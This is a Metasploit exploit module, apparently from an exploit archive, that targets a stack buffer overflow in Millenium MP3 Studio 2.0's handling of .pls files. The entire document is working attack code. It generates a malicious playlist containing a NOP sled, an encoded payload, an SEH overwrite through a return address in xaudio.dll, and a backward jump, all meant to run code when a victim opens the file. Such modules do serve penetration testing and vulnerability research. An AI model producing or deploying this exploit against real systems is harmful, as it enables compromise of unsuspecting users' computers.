Millenium MP3 Studio 2.0 - '.pls' Local Stack Buffer Overflow (Metasploit)

##
# $Id: millenium_mp3_pls.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Millenium MP3 Studio 2.0 (PLS File) Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in Millenium MP3 Studio 2.0.
					An attacker must send the file to victim and the victim must open the file.
					Alternatively it may be possible to execute code remotely via an embedded
					PLS file within a browser, when the PLS extention is registered to Millenium MP3 Studio.
					This functionality has not been tested in this module.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Molotov ', 'dookie', 'jduck' ],
			'Version'        => '$Revision: 10477 $',
			'References'     =>
				[
					[ 'OSVDB', '56574' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/9618' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/10240' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0a\x0d\x1a",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x10015593 } ], #p/p/r in xaudio.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jul 30 2009',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
				], self.class)
	end

	def exploit

		header = "[playlist]\r\n"
		header << "NumberOfEntries=1\r\n"
		header << "File1=http://"

		sploit = make_nops(4103 - payload.encoded.length)
		sploit << payload.encoded
		sploit << generate_seh_record(target.ret)

		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (4103+8).to_s).encode_string
		# note, one of the arguments get modified post overflow, so executing stuff below here is risky...

		filepls = header + sploit

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(filepls)

	end

end